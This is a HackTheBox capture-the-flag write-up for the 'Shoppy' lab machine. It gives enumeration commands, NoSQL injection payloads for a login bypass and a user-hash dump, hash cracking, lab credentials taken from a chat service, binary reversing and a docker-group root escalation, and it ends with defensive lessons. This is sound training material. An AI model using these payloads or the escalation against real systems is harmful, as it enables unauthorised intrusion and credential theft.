Shoppy - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Shoppy is an easy Linux machine that introduces NoSQL injection vulnerabilities through a custom e-commerce application. The attack begins by exploiting a NoSQL injection flaw in the login panel to access the admin dashboard, then extracting user credentials from the search functionality. After cracking MD5 password hashes, compromised credentials grant access to an internal Mattermost chat service where SSH credentials are discovered. Lateral movement is achieved by reverse-engineering a password manager binary to extract the deploy user’s credentials. Finally, privilege escalation is performed by leveraging the deploy user’s membership in the docker group to mount the host root filesystem.

TL;DR: NoSQL Injection → Hash Extraction → Credential Cracking → Mattermost Access → SSH as jaeger → Binary Reverse Engineering → SSH as deploy → Docker Privilege Escalation → Root Flag

Reconnaissance

Port Scanning

# Discover open ports efficiently
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.180 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service enumeration on discovered ports
nmap -p$ports -sV 10.10.11.180

Results:

• Port 22 (SSH): OpenSSH service running
• Port 80 (HTTP): nginx web server
• Port 9093: Unknown service

Service Enumeration

HTTP (Port 80)

Accessing http://10.10.11.180 redirects to shoppy.htb. A countdown timer is displayed, hinting at a beta launch with additional functionality elsewhere on the domain.

Add the domain to /etc/hosts:

echo "10.10.11.180     shoppy.htb" | sudo tee -a /etc/hosts

Virtual Host Enumeration

Using wfuzz to discover subdomains:

# Install wfuzz if not already present
sudo apt install wfuzz

# Enumerate vhosts (hide 301 redirects)
wfuzz -c -w /usr/share/wordlists/common.txt -u 10.10.11.180 -H "Host: FUZZ.shoppy.htb" --hc 301

Result: Discovered mattermost.shoppy.htb vhost

echo "10.10.11.180      mattermost.shoppy.htb" | sudo tee -a /etc/hosts

Directory Enumeration

# Enumerate directories on shoppy.htb
wfuzz -c --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 'http://shoppy.htb/FUZZ'

Interesting Paths:

• /admin - Redirects to /login
• /login - Admin login panel

Vulnerability Assessment

1. NoSQL Injection on login panel - Custom web application vulnerable to authentication bypass
2. NoSQL Injection on user search functionality - Allows data extraction
3. Weak Password Hashing - MD5 hashes used for password storage
4. Credentials in Chat - SSH credentials exposed in internal Mattermost channels
5. Reversible Binary - Password manager application can be reverse-engineered
6. Docker Group Privilege Escalation - deploy user membership enables privilege escalation

Initial Foothold

NoSQL Injection - Authentication Bypass

The login panel is vulnerable to NoSQL injection. Standard SQL injection payloads fail, but NoSQL payloads succeed.

Vulnerability Mechanism:

The backend query likely resembles:

db.collection('users').findOne({
  username: username_input,
  password: password_input
})

Exploitation:

Using the payload admin' || '' === ' in the username field bypasses authentication:

// Backend query becomes:
db.collection('users').findOne({
  username: "admin' || '' === '",
  password: "anything"
})

Accessing the admin panel:

1. Navigate to http://shoppy.htb/login
2. Username field: admin' || '' === '
3. Password field: anything
4. Click Login → Access granted to admin dashboard

User Data Extraction

The admin dashboard contains a “Search for users” functionality also vulnerable to NoSQL injection.

Extraction Payload:

In the search field, use:

'; return '' == '

This causes the backend to return all user records:

[
    {
        "_id": "62db0e93d6d6a999a66ee67a",
        "username": "admin",
        "password": "<MD5_HASH_REDACTED>"
    },
    {
        "_id": "62db0e93d6d6a999a66ee67b",
        "username": "josh",
        "password": "<MD5_HASH_REDACTED>"
    }
]

Click “Download export” to retrieve the JSON with password hashes.

Hash Cracking

Identify hash types:

sudo apt install hashcat

# Create hashes file
cat > hashes.txt << 'EOF'
<admin_hash_redacted>
<josh_hash_redacted>
EOF

# Crack MD5 hashes (type 0)
hashcat --show -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

Result:

• josh’s hash cracks to: remembermethisway
• admin’s hash does not crack

Mattermost Access

SSH login as josh fails, but Mattermost login succeeds:

# Credentials
username: josh
password: remembermethisway

Navigate to http://mattermost.shoppy.htb and login.

Browse internal channels (specifically “Deploy Machine” channel) to discover:

username: jaeger
password: Sh0ppyBest@pp!

SSH Access as jaeger

ssh jaeger@10.10.11.180
# Password: Sh0ppyBest@pp!

Retrieve user flag:

cat /home/jaeger/user.txt

Privilege Escalation

Lateral Movement to deploy User

Check sudo permissions:

sudo -l

Output shows jaeger can execute /home/deploy/password-manager as the deploy user.

Binary Reverse Engineering

Transfer the binary to your local machine:

scp jaeger@10.10.11.180:/home/deploy/password-manager ./password-manager

Install and use Ghidra to decompile:

sudo apt install ghidra
ghidra

Analyzing the main() function reveals the master password being constructed character-by-character and compared. The decompiled code shows the comparison string is Sample.

Run the password manager with the correct master password:

sudo -u deploy /home/deploy/password-manager
# Master Password: Sample

Retrieved credentials:

username: deploy
password: Deploying@pp!

Docker Group Privilege Escalation

SSH as deploy user:

ssh deploy@10.10.11.180
# Password: Deploying@pp!

Check group membership:

groups deploy
# Output shows: deploy docker

List available Docker images:

docker images
# Alpine Linux image is available

Mount the host root filesystem:

docker run -it -v /root:/mnt alpine

Access the root flag from within the container:

cat /mnt/root.txt

Attack Chain Summary

NoSQL Injection (Login) → Admin Panel Access → NoSQL Injection (Search)
→ Hash Extraction → Hash Cracking → Mattermost Credentials Discovery
→ SSH as jaeger → Binary Reverse Engineering → deploy User Credentials
→ SSH as deploy → Docker Group Exploitation → Root Filesystem Mount
→ Root Flag

Tools Used

Key Learnings

Techniques Practiced

• NoSQL injection exploitation in authentication and search functionalities
• Password hash extraction and dictionary-based cracking
• Virtual host and directory enumeration using wfuzz
• Binary reverse engineering with Ghidra decompiler
• Docker privilege escalation via group membership
• Lateral movement through multiple authentication vectors
• Information gathering from internal chat systems

Lessons Learned

1. NoSQL Injection is as critical as SQL injection and often overlooked in custom applications. Always test for it when standard SQLi fails.

2. Hash storage matters - MD5 is cryptographically broken. Even when salted, weak hashing algorithms are vulnerable to dictionary attacks with modern hardware.

3. Credential exposure in internal systems - Mattermost chat channels contained plaintext SSH credentials. Secrets management should be enforced across all systems.

4. Reversible binaries are dangerous - Password managers and authentication mechanisms should be compiled with obfuscation or stored server-side, never in client-side binaries.

5. Group membership is privilege - Docker group membership grants root-equivalent access. Sensitive group assignments require careful auditing.

6. Defense in depth - The machine required multiple exploitation techniques in sequence. A single strong control could have broken the chain at any point.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>